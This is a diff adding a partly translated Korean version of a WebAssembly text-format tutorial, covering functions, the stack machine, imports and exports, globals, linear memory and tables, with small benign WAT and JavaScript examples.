+</ul>
+
+<p>좀 다르게 보여도 다른 언어의 함수와 비슷합니다.</p>
+
+<p> </p>
+
+<h2 id="Signatures_and_parameters">Signatures and parameters</h2>
+
+<p>Signatures는 반환 형식 선언 목록 뒤에 오는 매개 변수 형식 선언 시퀀스입니다. 여기서 주목할 것은</p>
+
+<ul>
+ <li><code>(result)</code>가 없으면 함수는 아무것도 반환하지 않습니다.</li>
+ <li>현재 단 하나의 반환 형식을 가질 수 있으나,  <a href="https://webassembly.org/docs/future-features#multiple-return">이후에</a> 여러개를 반환할 수 있게 될 것입니다.</li>
+</ul>
+
+<p>각 인자로 wasm은 현재 4가지의 형식을 지원합니다.</p>
+
+<ul>
+ <li><code>i32</code>: 32-bit integer</li>
+ <li><code>i64</code>: 64-bit integer</li>
+ <li><code>f32</code>: 32-bit float</li>
+ <li><code>f64</code>: 64-bit float</li>
+</ul>
+
+<p> </p>
+
+<p>하나의 인자를 받기 위해 <code>(param i32)</code>라고 작성하고, 반환 값을 받기 위해 <code>(result i32)</code>라고 작성합니다. 아래에 2개의 32비트 정수를 받고 64비트 부동소수를 반환하는 바이너리 함수를 작성하였습니다.</p>
+
+<pre>(func (param i32) (param i32) (result f64) ... )</pre>
+
+<p> </p>
+
+<p>signature 뒤에는 형식을 가진 locals를 나열합니다. <code>(local i32)</code>와 같이 씁니다. parameter는 기본적으로 locals에 속하며, 함수 호출 시 인자에 값을 전달받아 초기화 됩니다.</p>
+
+<h2 id="local와_parameter를_getting_setting_하기">local와 parameter를 getting, setting 하기</h2>
+
+<p>지역인수와 함수인자는 함수 본문에서 <code>get_local</code> 명령문과 <code>set_local</code> 명령문을 통해 가져오거나 설정할 수 있습니다.</p>
+
+<p>The <code>get_local</code>/<code>set_local</code> 명령문은 숫자로 이루어진 요소를 가져오거나 설정합니다. parameter가 선언 순서상 먼저 위치하며, 그다음 locals 순으로 되어 있습니다. </p>
+
+<pre>(func (param i32) (param f32) (local f64)
+  get_local 0
+  get_local 1
+  get_local 2)</pre>
+
+<p>본문 첫 줄에 <code>get_local 0</code> 명령어로 i32 매게변수를 받아내게 되며, <code>get_local 1</code> 명령어로 f32 매게변수를 받게 될 것입니다. 그리고 <code>get_local 2</code> 명렁어로 f64 지역변수를 받을 수 있습니다.</p>
+
+<p>여기서 하나의 문제가 생겼군요. 숫자로 된 순서대로 받자니 좀 혼란스럽고 짜증날 수 있습니다. 그래서 텍스트로 명명된 매게변수, 지역변수, 그리고 다른 요소들을 간편하게 달러문자 (<code>$</code>) 로 시작하여 선언할 수 있습니다.</p>
+
+<p>따라서 위에 작성한 함수 명칭을 아래와 같이 재구성할 수 있습니다.</p>
+
+<pre>(func (param $p1 i32) (param $p2 f32) (local $loc f64) …)</pre>
+
+<p>이렇게 작성하면 <code>get_local 0</code> 대신 <code>get_local $p1</code> 처럼 표현할 수 있습니다. (참고로 여기서 사용된 $인자는 바이너리로 변환 시 다시 숫자로 바뀌게 됩니다.)</p>
+
+<p> </p>
+
+<h2 id="Stack_machines">Stack machines</h2>
+
+<p>우리가 함수 본문을 작성하기 전에 한가지 얘기할 게 더 있습니다. 바로 <strong>스택머신(</strong><strong>stack machines)</strong>이죠. 브라우저가 효율적으로 컴파일할  때, wasm 실행부 안에는 스택 머신에 대한 규칙이 정의되어 있습니다. 간단하게 생각하면 모든 형식을 스택에 넣고, 특정한 <code>i32</code>/<code>i64</code>/<code>f32</code>/<code>f64</code> 값을 스택에서 빼거나 넣는 식입니다.</p>
+
+<p>예를 들면, <code>get_local</code>은 지역변수 값을 스택에 푸시하도록 정의됩니다. 그리고 <code>i32.add</code> 명령어로 두 개의 <code>i32</code> 값을 빼낸 다음(암묵적으로 스택에 넣은 2 개의 값을 가져갑니다.),  이 둘의 합(2^32 형태)을 계산한 다음, 결과로 나온 i32 값을 다시 넣게 됩니다.</p>
+
+<p>함수가 호출되면, 이 함수는 빈 스택으로 시작하여 함수가 실행되는 동안 스택이 서서히 채우고 끝나면 다시 비워 버립니다. 아래 함수를 실행해 봅시다.</p>
+
+<pre>(func (param $p i32)
+  get_local $p
+  get_local $p
+  i32.add)</pre>
+
+<p>여기선 스택이 <code>i32</code> 값 딱 하나만 존재합니다. 그리고 (<code>$p + $p</code>) 식을 <code>i32.add</code> 명령어로 합한 결과가 나오죠. 결국 함수가 가지는 최후의 스택은 반환되는 값 하나 뿐입니다.</p>
+
+<p>웹어셈블리 내 스택 머신의 유효성 보증은 명확합니다. 만약 <code>(result f32)</code> 식을 정의하면, 스택은 반드시 끝에 단 하나의  <code>f32</code> 값만 남아야 합니다. 만약 결과 형식이 정의되어 있지 않다면, 스택은 비어 있어야 하죠.</p>
+
+<p> </p>
+
+<h2 id="첫번째_함수_본문">첫번째 함수 본문</h2>
+
+<p>전에 언급했듯이, 함수의 본문은 단순히  함수가 호출됐을 때 실행할 작업의 리스트입니다. 이전에 다루었던 것을 종합하면 아래와 같이 간단한 함수를 포함하는 모듈을 선언할 수 있습니다.</p>
+
+<pre>(module
+  (func (param $lhs i32) (param $rhs i32) (result i32)
+    get_local $lhs
+    get_local $rhs
+    i32.add
+  )
+)</pre>
+
+<p>이 함수는 2개의 매개변수를 갖고, 둘을 더하고, 그 결과를 반환합니다.</p>
+
+<p>함수의 본문에 넣을 수 있는 것들은 훨씬 많지만 지금은 간단하게 시작할겁니다. 당신은 앞으로 더 많은 예제들을 보게 될 것입니다. 사용 가능한 opcodes의 모든 목록을 보고싶다면 <a href="http://webassembly.org/docs/semantics/">webassembly.org 시맨틱 문서</a>에서 확인하세요.</p>
+
+<p> </p>
+
+<h3 id="함수_호출하기">함수 호출하기</h3>
+
+<p>함수는 혼자서 동작하지 않습니다. 호출해야합니다. ES2015 모듈에서와 마찬가지로 wasm 함수는 모듈 내부의 <code>export</code> 명령문에 의해 명시적으로 내보내야합니다.</p>
+
+<p>locals와 마찬가지로 함수는 기본적으로 인덱스로 식별되지만 편의상 이름을 지정할 수 있습니다. 먼저 <code>func</code> 키워드 바로 뒤에 달러 기호가 붙은 이름을 추가합니다.</p>
+
+<pre>(func $add … )</pre>
+
+<p>이제 내보내기 선언을 추가해야합니다. 다음과 같습니다.</p>
+
+<pre>(export "add" (func $add))</pre>
+
+<p>여기서 <code>add</code>는 자바 스크립트에서 함수가 식별되는 이름이며 <code>$add</code>는 모듈 내에서 어떤 WebAssembly 함수가 내보내지는지를 선택합니다.</p>
+
+<p>그래서 우리의 마지막 모듈은 (지금은) 다음과 같습니다.</p>
+
+<pre>(module
+  (func $add (param $lhs i32) (param $rhs i32) (result i32)
+    get_local $lhs
+    get_local $rhs
+    i32.add)
+  (export "add" (func $add))
+)</pre>
+
+<p>예제를 따라하려면 위의 모듈을 <code>add.wat</code>라는 파일에 저장 한 다음 wabt를 사용하여 <code>add.wasm</code>이라는 이진 파일로 변환하십시오 (자세한 내용은 <a href="/en-US/docs/WebAssembly/Text_format_to_wasm">Converting WebAssembly text format to wasm</a> 참조).</p>
+
+<p>다음으로 바이너리를 <code>addCode</code> (<a href="/en-US/docs/WebAssembly/Fetching_WebAssembly_bytecode">Fetching WebAssembly Bytecode</a>에서 설명한대로)라는 형식화 된 배열에로드하고, 컴파일 및 인스턴스화 한 다음 자바 스크립트에서 <code>add</code> 함수를 실행합니다. (이제 <code>add()</code>는 인스턴스의 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports">exports</a></code> 속성에서 찾을 수 있습니다)</p>
+
+<pre><code>WebAssembly.instantiateStreaming(fetch('add.wasm'))
+.then(obj =&gt; {
+   console.log(obj.instance.exports.add(1, 2));  // "3"
+});</code></pre>
+
+<div class="note">
+<p><strong>참고:</strong> 이 예제는 GitHub에서 <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/add.html">add.html</a>로 찾을 수 있습니다 (<a href="https://mdn.github.io/webassembly-examples/understanding-text-format/add.html">see it live also</a>). 인스턴스 함수에 대한 자세한 내용은 {{jsxref ( "WebAssembly.instantiate ()")}}를 참조하십시오.</p>
+</div>
+
+<h2 id="기본_사항_둘러보기">기본 사항 둘러보기</h2>
+
+<p>이제는 기본 사항을 다뤘습니다. 더 많은 고급 기능을 살펴 보겠습니다.</p>
+
+<h3 id="같은_모듈_내에_있는_다른_함수_호출하기">같은 모듈 내에 있는 다른 함수 호출하기</h3>
+
+<p><code>call</code> 명령어는 인덱스 또는 이름이 지정된 단일 함수를 호출합니다. 예를 들어, 다음 모듈에는 두 개의 함수가 있습니다. 하나는 값 42를 반환하고, 다른 하나는 첫 번째 플러스 1을 호출 한 결과를 반환합니다.</p>
+
+<pre>(module
+  (func $getAnswer (result i32)
+    i32.const 42)
+  (func (export "getAnswerPlus1") (result i32)
+    call $getAnswer
+    i32.const 1
+    i32.add))</pre>
+
+<div class="note">
+<p><strong>참고:</strong> <code>i32.const</code>는 단지 32 비트 정수를 정의하고 그것을 스택에 푸시합니다. 사용할 수있는 다른 유형의 <code>i32</code>를 바꿀 수 있으며 원하는 값으로 const 값을 변경할 수 있습니다 (여기서는 값을 <code>42</code>로 설정했습니다).</p>
+</div>
+
+<p>In this example you’ll notice an <code>(export "getAnswerPlus1")</code> section, declared just after the <code>func</code> statement in the second function — this is a shorthand way of declaring that we want to export this function, and defining the name we want to export it as.</p>
+
+<p>이는 함수 밖에서, 예전과 같은 방식으로 모듈의 다른 곳에서 별도의 function 문을 포함하는 것과 기능적으로 동일합니다. 예 :</p>
+
+<pre>(export "getAnswerPlus1" (func $functionName))</pre>
+
+<p>위의 모듈을 호출하는 JavaScript 코드는 다음과 같습니다.</p>
+
+<pre><code>WebAssembly.instantiateStreaming(fetch('call.wasm'))
+.then(obj =&gt; {
+   console.log(obj.instance.exports.getAnswerPlus1());  // "43"
+});</code></pre>
+
+<div class="note">
+<p><strong>참고:</strong> 이 예제는 GitHub에서 <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/call.html">call.html</a>로 찾을 수 있습니다 (<a href="https://mdn.github.io/webassembly-examples/understanding-text-format/call.html">see it live also</a>). </p>
+</div>
+
+<h3 id="자바스크립트에_함수_가져오기">자바스크립트에 함수 가져오기</h3>
+
+<p>우리는 이미 JavaScript에서 WebAssembly 함수를 호출하는 것을 보았습니다. 그러나 JavaScript 함수를 호출하는 WebAssembly는 어떻습니까? WebAssembly에는 실제로 JavaScript에 대한 기본 지식이 없지만 JavaScript 또는 Wasm 함수를 사용할 수있는 함수를 가져 오는 일반적인 방법이 있습니다. 예제를 살펴 보겠습니다.</p>
+
+<pre>(module
+  (import "console" "log" (func $log (param i32)))
+  (func (export "logIt")
+    i32.const 13
+    call $log))</pre>
+
+<p>WebAssembly에는 2 단계 네임 스페이스가 있으므로 여기서 import 문은 콘솔<code>console</code>모듈에서 <code>log</code> 함수를 가져 오기를 요청한다는 의미입니다. 또한 앞서 소개 한 <code>call</code> 명령어를 사용하여 내 보낸 <code>logIt</code> 함수가 가져온 함수를 호출하는지 확인할 수 있습니다.</p>
+
+<p>가져온 함수는 일반적인 함수와 같습니다. WebAssembly 유효성 검사에서 정적으로 서명하는 시그니처가 있으며, 인덱스가 주어지며 이름을 지정하고 호출 할 수 있습니다.</p>
+
+<p>JavaScript 함수에는 서명 개념이 없으므로 임포트의 선언 된 서명에 관계없이 모든 JavaScript 함수를 전달할 수 있습니다. 모듈이 가져 오기를 선언하면 {{jsxref("WebAssembly.instantiate()")}}의 호출자는 해당 속성이있는 가져 오기 객체를 전달해야합니다.</p>
+
+<p>위의 경우 <code>importObject.console.log</code>가 JavaScript 함수 인 객체 (<code>importObject</code>라고 부름)가 필요합니다.</p>
+
+<p>이것은 다음과 같습니다.</p>
+
+<pre><code>var importObject = {
+  console: {
+    log: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+WebAssembly.instantiateStreaming(fetch('logger.wasm'), importObject)
+.then(obj =&gt; {
+  obj.instance.exports.logIt();
+});</code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: 이 예제는 GitHub에서 <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/logger.html">logger.html</a>로 찾을 수 있습니다 (라이브(<a href="https://mdn.github.io/webassembly-examples/understanding-text-format/logger.html">see it live also</a>)도 참조하십시오).</p>
+</div>
+
+<p> </p>
+
+<h3 id="Declaring_globals_in_WebAssembly">Declaring globals in WebAssembly</h3>
+
+<p>WebAssembly는 하나 이상의 {{jsxref("WebAssembly.Module")}} 인스턴스 전체에서 JavaScript 및 가져오기 / 내보내기가 가능한 전역 변수 인스턴스를 생성 할 수 있습니다. 이는 여러 모듈을 동적으로 연결할 수 있으므로 매우 유용합니다.</p>
+
+<p>WebAssembly 텍스트 형식에서는 다음과 비슷합니다 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat">global.wat</a> 참조, 라이브 JavaScript 예제는 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/global.html">global.html</a> 참조).</p>
+
+<pre><code>(module
+   (global $g (import "js" "global") (mut i32))
+   (func (export "getGlobal") (result i32)
+        (get_global $g))
+   (func (export "incGlobal")
+        (set_global $g
+            (i32.add (get_global $g) (i32.const 1))))
+)</code></pre>
+
+<p>이것은 <code>global</code> 키워드를 사용하여 전역 값을 지정한다는 점을 제외하고는 이전에 보았던 것과 비슷하게 보이며 변수 mutable을 원하면 값의 데이터 유형과 함께 <code>mut</code> 키워드를 지정합니다.</p>
+
+<p>JavaScript를 사용하여 동일한 값을 만들려면 {{jsxref("WebAssembly.Global()")}} 생성자를 사용합니다.</p>
+
+<pre><code>const global = new WebAssembly.Global({value:'i32', mutable:true}, 0);</code>
+</pre>
+
+<p> </p>
+
+<h3 id="WebAssembly_Memory">WebAssembly Memory</h3>
+
+<p> </p>
+
+<p>위의 예로든 로깅 기능은 아주 끔찍합니다. 단 하나의 정수만 출력합니다!(이 정수가 뭔지 어떻게 알겠어요 그죠?) 텍스트 문자열을 기록하려면 어떻게 해야할까요. 문자열 및 기타 복잡한 데이터 유형을 처리하기 위해 WebAssembly는 메모리를 제공합니다. 메모리는 사용하면서 크기를 키울 수 있는 대량의 바이트 배열 입니다. WebAssembly에는 <a href="http://webassembly.org/docs/semantics/#linear-memory">linear memory</a>에서 읽고 쓰는 데 필요한 <code>i32.load</code> 및 <code>i32.store</code>와 같은 지침이 들어 있습니다.</p>
+
+<p>JavaScript의 관점에서 볼 때 크기가 조정 가능한 큰 {{domxref("ArrayBuffer")}} 안에 메모리가 모두있는 것처럼 보입니다. 이는 말 그대로 asm.js와 함께 사용해야함을 의미합니다. (크기 조정할 수 없다는 점을 제외하고요. asm.js <a href="http://asmjs.org/spec/latest/#programming-model">Programming model</a>을 참고 하세요.).</p>
+
+<p>따라서 문자열은 이 선형 메모리 내부의 있는 sequence of bytes라고 할 수 있습니다. 우리가 적절한 바이트 문자열을 메모리에 썼다고 가정 해 보고 어떻게 그 문자열을 JavaScript로 전달하는지 보겠습니다.</p>
+
+<p> </p>
+
+<p>핵심은 자바 스크립트가 {{jsxref("WebAssembly.Memory()")}} 인터페이스를 통해 WebAssembly 선형 메모리 인스턴스를 생성하고 연관된 인스턴스를 사용하여 기존 메모리 인스턴스에 액세스 할 수 있다는 것입니다 (현재 모듈 인스턴스 당 하나만 가질 수 있음). 메모리 인스턴스에는 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer">buffer</a></code> getter가 있습니다.이 buffer getter는 전체 선형 메모리를 가리키는 <code>ArrayBuffer</code>를 반환합니다.</p>
+
+<p> </p>
+
+<p>예를 들어 JavaScript의 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow">Memory.grow()</a></code> 메소드를 통해 메모리 인스턴스를 늘릴 수도 있습니다. grow가 발생하면 <code>ArrayBuffer</code>s는 크기를 변경할 수 없기 때문에 현재의 <code>ArrayBuffer</code>가 분리되고 더 큰 새 메모리를 가리 키도록 새 <code>ArrayBuffer</code>가 만들어집니다. 즉, JavaScript에 문자열을 전달하기 위해 수행해야하는 모든 작업은 길이를 나타내는 방법과 함께 선형 메모리에있는 문자열의 오프셋을 전달하는 것입니다.</p>
+
+<p> </p>
+
+<p>문자열 자체의 길이를 인코딩하는 방법에는 여러 가지가 있습니다 (예 : C 문자열). 여기서 간단히하기 위해 offset과 length를 매개 변수로 전달합니다.</p>
+
+<pre><code>(import "console" "log" (func $log (param i32) (param i32)))</code>
+</pre>
+
+<p> </p>
+
+<p>자바 스크립트 측면에서 우리는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/TextDecoder">TextDecoder API</a>를 사용하여 바이트를 자바 스크립트 문자열로 쉽게 디코딩 할 수 있습니다. (여기서는 <code>utf8</code>을 지정하지만 다른 많은 인코딩이 지원됩니다.)</p>
+
+<pre><code>function consoleLogString(offset, length) {
+  var bytes = new Uint8Array(memory.buffer, offset, length);
+  var string = new TextDecoder('utf8').decode(bytes);
+  console.log(string);
+}</code>
+</pre>
+
+<p> </p>
+
+<p>이제 남은 부분은 <code>consoleLogString</code>이 WebAssembly <code>memory</code>에 액세스하는 부분입니다. WebAssembly는 JavaScript로 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory">Memory</a></code> 객체를 만들고 WebAssembly 모듈에서 메모리를 가져 오거나 WebAssembly 모듈에서 메모리를 만들어 JavaScript로 내보낼 수 있는 유연성을 제공합니다.</p>
+
+<p> </p>
+
+<p> </p>
+
+<p>간단히하기 위해 JavaScript로 작성한 다음 WebAssembly로 가져와 봅시다. 우리의 <code>import</code>statement는 다음과 같이 작성됩니다 :</p>
+
+<pre><code>(import "js" "mem" (memory 1))</code></pre>
+
+<p><code>1</code>은 가져온 메모리에 최소 1 페이지의 메모리가 있어야 함을 나타냅니다 (WebAssembly에서 페이지를 64KB로 정의 함).</p>
+
+<p>문자열 "Hi"를 인쇄하는 완전한 모듈을 보겠습니다. 일반적인 컴파일 된 C 프로그램에서는 함수를 호출하여 문자열에 대한 메모리를 할당하지만 여기에 자체 어셈블리를 작성하고 전체 선형 메모리를 소유하기 때문에 <code>data</code> 섹션을 사용하여 전역 메모리에 문자열 내용을 쓸 수 있습니다. 데이터 섹션은 바이트의 문자열이 인스턴스화 시간에 주어진 오프셋에 쓰여질 수 있도록 하며 원시 실행 가능 형식의 <code>.data</code>sections와 유사합니다.</p>
+
+<p>최종 wasm 모듈을 확인하겠습니다.</p>
+
+<pre><code>(module
+  (import "console" "log" (func $log (param i32 i32)))
+  (import "js" "mem" (memory 1))
+  (data (i32.const 0) "Hi")
+  (func (export "writeHi")
+    i32.const 0  ;; pass offset 0 to log
+    i32.const 2  ;; pass length 2 to log
+    call $log))</code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: 위와 같이 WebAssembly 파일의 주석을 허용하는 두 개의 세미콜론 구문 (<code>;;</code>)을 확인하십시오.</p>
+</div>
+
+<p>자바 스크립트에서 우리는 1 페이지 메모리를 만들고 그것을 전달할 수 있습니다. 결과적으로 "Hi"가 콘솔에 출력됩니다 :</p>
+
+<pre><code>var memory = new WebAssembly.Memory({initial:1});
+
+var importObject = { console: { log: consoleLogString }, js: { mem: memory } };
+
+WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
+.then(obj =&gt; {
+  obj.instance.exports.writeHi();
+});</code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: 깃허브에서 소스 전체버전을 확인할 수 있습니다. <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/logger2.html">logger2.html</a> (<a href="https://mdn.github.io/webassembly-examples/understanding-text-format/logger2.html">also see it live</a>).</p>
+</div>
+
+<h3 id="WebAssembly_tables">WebAssembly tables</h3>
+
+<p>WebAssembly 텍스트 형식 둘러보기를 마무리하려면 WebAssembly에서 가장 복잡하고 어려운 부분 인 <strong>tables</strong>을 살펴 보겠습니다. 테이블은 기본적으로 WebAssembly 코드의 인덱스를 통해 액세스 할 수 있는 크기 조정이 가능한 참조 배열입니다.</p>
+
+<p>왜 테이블이 필요한지를 알기 위해서는 앞서 보았던 <code>call</code> 명령어 ({{anch("Calling functions from other functions in the same module")}} 참고)가 필요합니다. 이 명령어는 정적 함수 인덱스를 취하며 따라서 오직 하나의 함수를 호출합니다. 그러나 호출 수신자가 런타임 값인 경우에는 어떻게 해야할까요?</p>
+
+<ul>
+ <li>자바 스크립트에서 항상 볼 수 있습니다. 함수는 최상위 클래스 입니다.</li>
+ <li>C/C++에서, function pointers와 함께 볼 수 있습니다.</li>
+ <li>C++에서, virtual functions와 함께 볼 수 있습니다.</li>
+</ul>
+
+<p>WebAssembly에는 이를 구현하기 위해 일종의 호출 명령어가 필요했기 때문에 동적 함수 피연산자를 사용하는 <code>call_indirect</code>를 구현했습니다. 문제는 WebAssembly에서 피연산자를 지정해야하는 유일한 유형은 (현재) <code>i32</code>/<code>i64</code>/<code>f32</code>/<code>f64</code>라는 것입니다.</p>
+
+<p>WebAssembly는 <code>anyfunc</code> 유형을 추가 할 수 있습니다 (유형이 모든 서명의 기능을 보유 할 수 있기 때문에 "any"가 붙어있습니다). 그러나 안타깝게도 이 <code>anyfunc</code> 유형은 보안상의 이유로 선형 메모리에 저장할 수 없습니다. 선형 메모리는 저장된 값의 원시 내용을 바이트로 표시하므로 wasm 내용이 임의로 웹에서 허용 하면 안되는 원시 함수 주소를 노출하거나 손상시킬 수 있습니다.</p>
+
+<p> </p>
+
+<p>해결책은 테이블에 함수 참조를 저장하고 대신 테이블 인덱스를 전달하는 것입니다.이 인덱스는 i32 값입니다. <code>call_indirect</code>의 피연산자는 단순히 i32 인덱스 값일 수 있습니다.</p>
+
+<p> </p>
+
+<h4 id="Defining_a_table_in_wasm">Defining a table in wasm</h4>
+
+<p>그러면 우리 테이블에 함수를 어떻게 배치할까요? <code>data</code> 섹션을 사용하여 선형 메모리 영역을 바이트로 초기화하는 것처럼 <code>elem</code> 섹션을 사용하여 함수가있는 테이블 영역을 초기화 할 수 있습니다.</p>
+
+<pre><code>(module
+  (table 2 anyfunc)
+  (elem (i32.const 0) $f1 $f2)
+  (func $f1 (result i32)
+    i32.const 42)
+  (func $f2 (result i32)
+    i32.const 13)
+  ...
+)</code></pre>
+
+<ul>
+ <li><code>(table 2 anyfunc)</code>에서 2는 테이블의 초기 크기 (즉, 두 개의 참조를 저장함)이고 <code>anyfunc</code>는 이러한 참조의 요소 유형이 "any signature가 있는 함수"로 선언합니다. WebAssembly의 현재 반복에서는 이것이 유일하게 허용되는 요소 유형이지만, 앞으로 더 많은 요소 유형이 추가 될 것입니다.</li>
+ <li>함수 (<code>func</code>) 섹션은 다른 선언 된 wasm 함수와 같습니다. 이것들은 테이블에서 참조 할 함수입니다 (예를 들어, 각각은 상수 값을 반환합니다). 섹션이 선언 된 순서는 중요하지 않습니다. 여기서는 함수를 어디에서나 선언 할 수 있으며 여전히 <code>elem</code> 섹션에서 함수를 참조 할 수 있습니다.</li>
+ <li><code>elem</code> 섹션은 모듈의 모든 함수 서브 세트를 순서에 상관없이 나열하며 중복을 허용 합니다. 이것은 참조되는 순서대로 테이블에서 참조 할 목록입니다.</li>
+ <li><code>elem</code> 섹션 내의 <code>(i32.const 0)</code> 값은 오프셋입니다. 이것은 섹션의 시작 부분에서 선언해야하며, 테이블 함수 참조가 채워지기 시작하는 인덱스를 지정합니다. 여기서 0과 2의 크기를 지정 했으므로 (위 참조) 인덱스 0과 1에서 두 개의 참조를 채울 수 있습니다. 오프셋 1에서 참조를 쓰고 싶다면 <code>(i32.const 1)</code>이고 테이블 크기는 3이어야합니다.</li>
+</ul>
+
+<p> </p>
+
+<div class="note">
+<p><strong>Note</strong>: 초기화되지 않은 요소에는 기본 throw-on-call 값이 제공됩니다.</p>
+</div>
+
+<p>자바 스크립트에서 이와 같은 테이블 인스턴스를 생성하는 호출은 다음과 같습니다.</p>
+
+<pre><code>function() {
+  // table section
+  var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
+
+  // function sections:
+  var f1 = function() { … }
+  var f2 = function() { … }
+
+  // elem section
+  tbl.set(0, f1);
+  tbl.set(1, f2);
+};</code></pre>
+
+<p> </p>
+
+<h4 id="Using_the_table">Using the table</h4>
+
+<p>우리가 사용 할 테이블을 정의했습니다. 다음 코드 섹션을 통해 테이블을 사용 할 수 있습니다.</p>
+
+<pre><code>(type $return_i32 (func (result i32))) ;; if this was f32, type checking would fail
+(func (export "callByIndex") (param $i i32) (result i32)
+  get_local $i
+  call_indirect (type $return_i32))</code></pre>
+
+<ul>
+ <li><code>(type $return_i32 (func (param i32)))</code> 블록은 참조 이름과 함께 유형을 지정합니다. 이 유형은 나중에 테이블 함수 참조 호출의 유형 점검을 수행 할 때 사용됩니다. 여기서 우리는 참조가 <code>i32</code>를 결과로 반환하는 함수라고 코드를 작성했습니다.</li>
+ <li>다음으로, <code>callByIndex</code>라는 이름으로 익스포트 될 함수를 정의합니다. 이것은 하나의 <code>i32</code>를 매개 변수로 사용하며, 인수 이름 <code>$i</code>가 주어집니다.</li>
+ <li>Inside the function, we add one value to the stack — whatever value is passed in as the parameter <code>$i</code>. 매개 변수 <code>$i</code>로 전달되는 값이 무엇이든간에 함수 내에서 스택에 하나의 값을 추가합니다.</li>
+ <li>마지막으로, <code>call_indirect</code>를 사용하여 테이블에서 함수를 호출합니다. 스택에서 <code>$i</code>의 값을 암시 적으로 팝합니다. 이것의 최종 결과는 <code>callByIndex</code> 함수가 테이블에서 <code>$i</code>'th 함수를 호출한다는 것입니다.</li>
+</ul>
+
+<p> </p>
+
+<p>다음과 같이 <code>call_indirect</code> 매개 변수를 명령 호출 중에 명시 적으로 선언 할 수도 있습니다.</p>
+
+<pre><code>(call_indirect (type $return_i32) (get_local $i))</code></pre>
+
+<p>자바 스크립트와 같이 더 높은 수준의 표현력있는 언어에서는 함수가 포함 된 배열 (또는 더 많은 가능성이있는 객체)을 사용하여 동일한 작업을 수행한다고 상상할 수 있습니다. 의사 코드는 <code>tbl[i]()</code>와 유사합니다.</p>
+
+<p> </p>
+
+<p> </p>
+
+<p>다시 typechecking을 보면 WebAssembly가 typechecked되고 <code>anyfunc</code>가 "모든 함수 서명"을 의미하기 때문에 callee에서 호출 수신자의 추정 서명을 제공해야하므로 <code>$return_i32</code> 유형이 포함되어 <code>i32</code>를 반환하는 함수가 예상됩니다. 호출 수신자와 일치하는 서명이 없으면 (대신 <code>f32</code>가 반환 됨) {{jsxref("WebAssembly.RuntimeError")}}가 발생합니다.</p>
+
+<p><code>call_indirect</code>와 호출하는 테이블을 연결하는 것은 무엇입니까? 대답은 모듈 인스턴스 당 하나의 테이블 만 허용된다는 것입니다. <code>call_indirect</code>가 암시 적으로 호출하는 것입니다. 향후, 여러 테이블이 허용 될 때, 우리는 또한 어떤 종류의 테이블 식별자를 지정할 필요가있습니다</p>
+
+<p> </p>
+
+<p> </p>
+
+<pre><code>call_indirect $my_spicy_table (type $i32_to_void)</code></pre>
+
+<p>전체 모듈은 모두 이와 같이 보이며 <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/wasm-table.wat">wasm-table.wat</a> 예제 파일에서 찾을 수 있습니다.</p>
+
+<p> </p>
+
+<pre><code>(module
+  (table 2 anyfunc)
+  (func $f1 (result i32)
+    i32.const 42)
+  (func $f2 (result i32)
+    i32.const 13)
+  (elem (i32.const 0) $f1 $f2)
+  (type $return_i32 (func (result i32)))
+  (func (export "callByIndex") (param $i i32) (result i32)
+    get_local $i
+    call_indirect (type $return_i32))
+)</code></pre>
+
+<p> </p>
+
+<p>다음 자바 스크립트를 사용하여 웹 페이지에로드합니다.</p>
+
+<pre><code>WebAssembly.instantiateStreaming(fetch('wasm-table.wasm'))
+.then(obj =&gt; {
+  console.log(obj.instance.exports.callByIndex(0)); // returns 42
+  console.log(obj.instance.exports.callByIndex(1)); // returns 13
+  console.log(obj.instance.exports.callByIndex(2)); // returns an error, because there is no index position 2 in the table
+});</code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/wasm-table.html">wasm-table.html</a>에서 이 예제를 확인할 수 있습니다. (<a href="https://mdn.github.io/webassembly-examples/understanding-text-format/wasm-table.html">see it live also</a>).</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Memory와 마찬가지로 테이블은 자바 스크립트 (<code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table">WebAssembly.Table()</a></code> 참고)와 다른 wasm 모듈로 가져 오거나 다른 wasm 모듈에서 가져올 수도있다.</p>
+</div>
+
+<h3 id="Mutating_tables_and_dynamic_linking">Mutating tables and dynamic linking</h3>
+
+<p> </p>
+
+<p>JavaScript는 함수 참조에 대한 모든 액세스 권한을 갖기 때문에 Grow (), get () 및 set () 메서드를 통해 JavaScript에서 Table 객체를 변형 할 수 있습니다. WebAssembly에서 참조 유형을 가져 오면 WebAssembly 코드는 get_elem / set_elem 명령어로 테이블 자체를 변형 할 수 있습니다.</p>
+
+<p>테이블은 변경 가능하기 때문에 정교한 로드 시간 및 런타임 <a href="http://webassembly.org/docs/dynamic-linking">dynamic linking schemes</a>를 구현하는 데 사용할 수 있습니다. 프로그램이 동적으로 링크되면 여러 인스턴스가 동일한 메모리 및 테이블을 공유합니다. 이것은 여러 컴파일 된 <code>.dll</code>이 단일 프로세스의 주소 공간을 공유하는 기본 응용 프로그램과 대칭입니다.</p>
+
+<p> </p>
+
